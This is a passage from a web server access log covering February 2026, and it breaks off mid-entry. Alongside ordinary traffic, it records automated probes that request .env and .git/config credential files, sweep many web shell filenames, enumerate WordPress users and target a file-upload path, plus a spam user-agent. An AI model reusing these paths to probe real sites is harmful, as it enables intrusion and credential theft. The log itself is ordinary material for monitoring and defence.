- - [14/Feb/2026:17:36:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 207.180.220.222 - - [14/Feb/2026:17:36:33 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 207.180.220.222 - - [14/Feb/2026:17:36:38 +0300] "GET /login/ HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 45.82.13.200 - - [14/Feb/2026:19:33:31 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3844.0 Safari/537.36" 91.202.4.80 - - [14/Feb/2026:20:25:51 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 183.223.249.24 - - [14/Feb/2026:20:14:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0" 202.133.209.141 - - [14/Feb/2026:20:17:15 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 60.188.57.0 - - [14/Feb/2026:21:12:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.110.130 - - [14/Feb/2026:21:05:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 27.46.125.55 - - [14/Feb/2026:21:40:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.3897.67 Safari/537.36 QIHU 360SE" 124.83.108.167 - - [14/Feb/2026:22:00:11 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 27.46.75.18 - - [14/Feb/2026:21:47:26 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.3964.148 Safari/537.36 QIHU 360EE" 27.46.75.11 - - [14/Feb/2026:21:35:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.3292.122 Safari/537.36" 159.89.184.232 - - [14/Feb/2026:22:10:09 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 40.69.66.178 - - [14/Feb/2026:22:21:52 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:21:55 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:21:57 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:21:58 +0300] "GET /88.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:01 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:21:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:21:46 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "-" 159.65.24.22 - - [14/Feb/2026:22:29:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 40.69.66.178 - - [14/Feb/2026:22:22:08 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:10 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:12 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:15 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:18 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:21 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:23 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:24 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:26 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:28 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:31 +0300] "GET /yooldisk.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:32 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [14/Feb/2026:22:22:34 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 43.157.149.188 - - [14/Feb/2026:22:33:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 38.60.196.214 - - [14/Feb/2026:23:55:49 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 65.21.46.73 - - [15/Feb/2026:00:28:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)" 65.21.46.73 - - [15/Feb/2026:00:28:45 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html)" 72.11.155.223 - - [15/Feb/2026:01:19:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 15_7_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15" 34.192.244.187 - - [15/Feb/2026:02:18:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" 36.111.67.189 - - [15/Feb/2026:03:33:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.154.140.188 - - [15/Feb/2026:05:54:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 78.29.51.27 - - [15/Feb/2026:05:07:13 +0300] "GET / HTTP/1.1" 301 795 "http://78.29.51.27/phpneuralnetwork/?s1=CU_eliteewallet.com" "IMPORTANT! FREE! NON-CRIMINAL BLOCKCHAIN PHP NEURAL NETWORK! OWN BLOCKCHAIN SCIENTIFIC DEBT GATEWAY! OWN HOSTING AND ENCRYPTED DATABASE! LINK - http://78.29.51.27/phpneuralnetwork/?s1=CU_eliteewallet.com" 43.131.39.179 - - [15/Feb/2026:06:56:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 167.94.138.119 - - [15/Feb/2026:07:10:28 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 45.194.92.21 - - [15/Feb/2026:08:16:08 +0300] "GET /jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 141.98.11.224 - - [15/Feb/2026:08:57:54 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 45.88.186.192 - - [15/Feb/2026:08:24:30 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 117.72.81.38 - - [15/Feb/2026:10:01:50 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 182.43.70.143 - - [15/Feb/2026:09:40:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /%D9%85%D8%B1%D8%AD%D8%A8%D8%A7-%D8%A8%D8%A7%D9%84%D8%B9%D8%A7%D9%84%D9%85/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /sat-sri-akal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 87.121.84.30 - - [15/Feb/2026:10:49:32 +0300] "GET /theme/assets/global/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /witaj-swiecie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /halo-dunia/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /hallo-welt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /ciao-mondo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 217.182.137.64 - - [15/Feb/2026:11:20:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 OPR/89.0.4447.51" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /ola-mundo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 192.42.116.194 - - [15/Feb/2026:11:32:51 +0300] "GET / HTTP/1.1" 301 795 "eliteewallet.com" "Mozilla/5.0 (Linux; Android 5.1.1; SM-G531M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.111 Mobile Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /hola-mundo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /xin-chao-the-gioi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /bonjour-le-monde/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /merhaba-dunya/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 194.31.72.75 - - [15/Feb/2026:10:56:02 +0300] "GET /%E4%BD%A0%E5%A5%BD%E4%B8%96%E7%95%8C/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 167.86.83.231 - - [15/Feb/2026:12:48:17 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.166.247.155 - - [15/Feb/2026:12:44:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 167.86.83.231 - - [15/Feb/2026:12:48:27 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 83.140.248.204 - - [15/Feb/2026:13:01:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; U; Android 13; sk-sk; Xiaomi 11T Pro Build/TKQ1.220829.002) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/112.0.5615.136 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.4.0-g" 43.173.1.57 - - [15/Feb/2026:13:40:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.217.234 - - [15/Feb/2026:15:02:20 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:00 +0300] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:03 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:06 +0300] "GET /mjq.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:09 +0300] "GET /wp-k3w6g9s4h2.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:11 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:13 +0300] "GET /bjfl.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:15 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:18 +0300] "GET /co.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:22 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:32 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:24 +0300] "GET /yooldisk.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:01:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:01:39 +0300] "GET /.trash7206/index.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:01:42 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:01:43 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:01:45 +0300] "GET /acfdr.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:01:49 +0300] "GET /88.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:01:51 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.217.234 - - [15/Feb/2026:15:02:28 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 185.226.197.28 - - [15/Feb/2026:15:12:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 185.226.197.29 - - [15/Feb/2026:15:12:20 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 117.33.163.216 - - [15/Feb/2026:16:13:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.231.114 - - [15/Feb/2026:16:32:39 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 184.174.58.236 - - [15/Feb/2026:16:26:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 10; SM-A102U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Mobile Safari/537.36" 3.101.88.198 - - [15/Feb/2026:19:54:32 +0300] "GET /postnews.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.155.162.41 - - [15/Feb/2026:19:36:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.101.88.198 - - [15/Feb/2026:19:54:21 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 212.237.121.99 - - [15/Feb/2026:19:18:29 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 43.130.102.223 - - [15/Feb/2026:18:44:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 64.226.66.84 - - [15/Feb/2026:21:15:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 64.226.66.84 - - [15/Feb/2026:21:15:15 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 45.88.186.192 - - [15/Feb/2026:21:06:18 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 45.88.186.192 - - [15/Feb/2026:21:06:19 +0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36" 45.88.186.192 - - [15/Feb/2026:21:06:19 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 114.96.103.33 - - [15/Feb/2026:22:32:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.68.4 - - [16/Feb/2026:00:20:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.4 - - [16/Feb/2026:00:22:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.7559.132 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 27.46.75.11 - - [16/Feb/2026:02:13:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.3033.60 UBrowser/6.2.3964.2 Safari/537.36" 43.167.239.66 - - [16/Feb/2026:01:27:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.183.82 - - [16/Feb/2026:02:30:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 185.21.14.193 - - [16/Feb/2026:02:28:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 113.88.77.195 - - [16/Feb/2026:02:13:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4088.151 Safari/537.36 QIHU 360EE" 185.12.249.39 - - [16/Feb/2026:03:40:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 193.43.149.54 - - [16/Feb/2026:04:57:25 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.194.217.214 - - [16/Feb/2026:05:03:23 +0300] "GET /cap.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:26 +0300] "GET /callback.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:30 +0300] "GET /knme.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:32 +0300] "GET /bgwnfsal.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:35 +0300] "GET /aboutc.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:37 +0300] "GET /lcyhl.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:41 +0300] "GET /ZeLXoo.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:43 +0300] "GET /auujk.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:45 +0300] "GET /borax.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:48 +0300] "GET /hidedz.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:51 +0300] "GET /likmt.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:54 +0300] "GET /55.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:55 +0300] "GET /RIP.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:58 +0300] "GET /x3x.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:01 +0300] "GET /wgift2.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:02 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:05 +0300] "GET /Knoxville.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:07 +0300] "GET /fizsb.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:09 +0300] "GET /securepassword.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:11 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:14 +0300] "GET /pomzr.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:16 +0300] "GET /assacc.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:19 +0300] "GET /momo.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:21 +0300] "GET /oke.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:23 +0300] "GET /ws67.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:25 +0300] "GET /ab8.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:27 +0300] "GET /curl.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:29 +0300] "GET /hg.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:31 +0300] "GET /tx64.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:33 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:35 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:38 +0300] "GET /japan.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:40 +0300] "GET /ajax.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:43 +0300] "GET /rbvds.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:46 +0300] "GET /foundling.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:48 +0300] "GET /xper1.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:50 +0300] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:52 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:54 +0300] "GET /jzntz.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:04:57 +0300] 